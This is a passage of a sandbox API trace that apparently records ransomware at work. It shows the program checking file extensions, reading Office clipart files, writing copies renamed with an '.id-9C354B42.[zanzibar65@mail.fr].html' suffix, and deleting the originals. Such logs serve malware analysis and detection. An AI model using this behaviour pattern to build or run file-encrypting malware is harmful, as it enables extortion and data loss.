lpString2=".WMF") returned -1 [0273.043] lstrlenW (lpString=".bz2") returned 4 [0273.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.043] lstrlenW (lpString=".7z") returned 3 [0273.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0273.044] lstrlenW (lpString=".dbf") returned 4 [0273.044] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0273.044] lstrlenW (lpString=".1cd") returned 4 [0273.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0273.044] lstrlenW (lpString=".jpg") returned 4 [0273.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0273.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0273.044] lstrlenW (lpString=".doc") returned 4 [0273.044] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.044] lstrlenW (lpString=".docx") returned 5 [0273.044] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.044] lstrlenW (lpString=".pdf") returned 4 [0273.044] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.044] lstrlenW (lpString=".xls") returned 4 [0273.044] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.044] lstrlenW (lpString=".xlsx") returned 5 [0273.044] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.044] lstrlenW (lpString=".ppt") returned 4 [0273.044] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0273.044] lstrlenW (lpString=".zip") returned 4 [0273.044] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.044] lstrlenW (lpString=".rar") returned 4 [0273.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.045] lstrlenW (lpString=".bz2") returned 4 [0273.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.045] lstrlenW (lpString=".7z") returned 3 [0273.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0273.045] lstrlenW (lpString=".dbf") returned 4 [0273.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0273.045] lstrlenW (lpString=".1cd") returned 4 [0273.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 63 [0273.045] lstrlenW (lpString=".jpg") returned 4 [0273.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.045] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.045] lstrlenW (lpString="FD00397_.WMF") returned 12 [0273.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0273.046] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=10816) returned 1 [0273.046] CloseHandle (hObject=0x3a4) returned 1 [0273.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x20 [0273.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0273.046] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.046] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.046] GetLastError () returned 0x0 [0273.047] ReadFile (in: hFile=0x3a4, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x2a40, lpOverlapped=0x0) returned 1 [0273.048] WriteFile (in: hFile=0x3a8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x2a50, lpOverlapped=0x0) returned 1 [0273.049] ReadFile (in: hFile=0x3a4, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.049] WriteFile (in: hFile=0x3a8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.049] SetEndOfFile (hFile=0x3a8) returned 1 [0273.049] CloseHandle (hObject=0x3a8) returned 1 [0273.049] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.049] SetEndOfFile (hFile=0x3a4) returned 1 [0273.051] CloseHandle (hObject=0x3a4) returned 1 [0273.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0273.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0273.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0273.053] lstrlenW (lpString=".doc") returned 4 [0273.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.053] lstrlenW (lpString=".docx") returned 5 [0273.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.053] lstrlenW (lpString=".pdf") returned 4 [0273.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.053] lstrlenW (lpString=".xls") returned 4 [0273.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.053] lstrlenW (lpString=".xlsx") returned 5 [0273.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.053] lstrlenW (lpString=".ppt") returned 4 [0273.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0273.053] lstrlenW (lpString=".zip") returned 4 [0273.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.053] lstrlenW (lpString=".rar") returned 4 [0273.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.053] lstrlenW (lpString=".bz2") returned 4 [0273.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.053] lstrlenW (lpString=".7z") returned 3 [0273.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0273.053] lstrlenW (lpString=".dbf") returned 4 [0273.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0273.054] lstrlenW (lpString=".1cd") returned 4 [0273.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0273.054] lstrlenW (lpString=".jpg") returned 4 [0273.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0273.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0273.054] lstrlenW (lpString=".doc") returned 4 [0273.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.054] lstrlenW (lpString=".docx") returned 5 [0273.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.054] lstrlenW (lpString=".pdf") returned 4 [0273.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.054] lstrlenW (lpString=".xls") returned 4 [0273.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.054] lstrlenW (lpString=".xlsx") returned 5 [0273.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.054] lstrlenW (lpString=".ppt") returned 4 [0273.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0273.054] lstrlenW (lpString=".zip") returned 4 [0273.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.054] lstrlenW (lpString=".rar") returned 4 [0273.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.054] lstrlenW (lpString=".bz2") returned 4 [0273.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.055] lstrlenW (lpString=".7z") returned 3 [0273.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0273.055] lstrlenW (lpString=".dbf") returned 4 [0273.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0273.055] lstrlenW (lpString=".1cd") returned 4 [0273.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0273.055] lstrlenW (lpString=".jpg") returned 4 [0273.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.055] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.055] lstrlenW (lpString="FD00403_.WMF") returned 12 [0273.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0273.055] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=7878) returned 1 [0273.055] CloseHandle (hObject=0x3a4) returned 1 [0273.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x20 [0273.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0273.056] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.056] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0273.056] GetLastError () returned 0x0 [0273.056] ReadFile (in: hFile=0x3a4, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x1ec6, lpOverlapped=0x0) returned 1 [0273.058] WriteFile (in: hFile=0x3a8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x1ed0, lpOverlapped=0x0) returned 1 [0273.058] ReadFile (in: hFile=0x3a4, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.058] WriteFile (in: hFile=0x3a8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.059] SetEndOfFile (hFile=0x3a8) returned 1 [0273.059] CloseHandle (hObject=0x3a8) returned 1 [0273.059] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.059] SetEndOfFile (hFile=0x3a4) returned 1 [0273.077] CloseHandle (hObject=0x3a4) returned 1 [0273.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0273.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0273.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0273.313] lstrlenW (lpString=".doc") returned 4 [0273.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.314] lstrlenW (lpString=".docx") returned 5 [0273.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.314] lstrlenW (lpString=".pdf") returned 4 [0273.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.314] lstrlenW (lpString=".xls") returned 4 [0273.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.314] lstrlenW (lpString=".xlsx") returned 5 [0273.314] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.314] lstrlenW (lpString=".ppt") returned 4 [0273.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0273.314] lstrlenW (lpString=".zip") returned 4 [0273.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.314] lstrlenW (lpString=".rar") returned 4 [0273.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.314] lstrlenW (lpString=".bz2") returned 4 [0273.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.314] lstrlenW (lpString=".7z") returned 3 [0273.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0273.314] lstrlenW (lpString=".dbf") returned 4 [0273.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0273.314] lstrlenW (lpString=".1cd") returned 4 [0273.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0273.314] lstrlenW (lpString=".jpg") returned 4 [0273.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0273.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0273.314] lstrlenW (lpString=".doc") returned 4 [0273.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.315] lstrlenW (lpString=".docx") returned 5 [0273.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.315] lstrlenW (lpString=".pdf") returned 4 [0273.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.315] lstrlenW (lpString=".xls") returned 4 [0273.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.315] lstrlenW (lpString=".xlsx") returned 5 [0273.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.315] lstrlenW (lpString=".ppt") returned 4 [0273.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0273.315] lstrlenW (lpString=".zip") returned 4 [0273.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.315] lstrlenW (lpString=".rar") returned 4 [0273.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.315] lstrlenW (lpString=".bz2") returned 4 [0273.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.315] lstrlenW (lpString=".7z") returned 3 [0273.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0273.315] lstrlenW (lpString=".dbf") returned 4 [0273.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0273.315] lstrlenW (lpString=".1cd") returned 4 [0273.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 63 [0273.315] lstrlenW (lpString=".jpg") returned 4 [0273.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.315] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0273.316] lstrlenW (lpString="FD00586_.WMF") returned 12 [0273.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.316] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=752) returned 1 [0273.316] CloseHandle (hObject=0x380) returned 1 [0273.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x20 [0273.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0273.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0273.316] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.316] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0273.317] GetLastError () returned 0x0 [0273.317] ReadFile (in: hFile=0x380, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x2f0, lpOverlapped=0x0) returned 1 [0273.329] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x300, lpOverlapped=0x0) returned 1 [0273.330] ReadFile (in: hFile=0x380, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.330] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.330] SetEndOfFile (hFile=0x39c) returned 1 [0273.330] CloseHandle (hObject=0x39c) returned 1 [0273.330] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.330] SetEndOfFile (hFile=0x380) returned 1 [0273.332] CloseHandle (hObject=0x380) returned 1 [0273.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0273.333] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0273.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0273.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0273.333] lstrlenW (lpString=".doc") returned 4 [0273.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.333] lstrlenW (lpString=".docx") returned 5 [0273.333] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.333] lstrlenW (lpString=".pdf") returned 4 [0273.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.333] lstrlenW (lpString=".xls") returned 4 [0273.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.333] lstrlenW (lpString=".xlsx") returned 5 [0273.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.333] lstrlenW (lpString=".ppt") returned 4 [0273.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0273.333] lstrlenW (lpString=".zip") returned 4 [0273.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.333] lstrlenW (lpString=".rar") returned 4 [0273.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.333] lstrlenW (lpString=".bz2") returned 4 [0273.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString=".7z") returned 3 [0273.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0273.334] lstrlenW (lpString=".dbf") returned 4 [0273.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 63 [0273.334] lstrlenW (lpString=".1cd") returned 4 [0273.334] 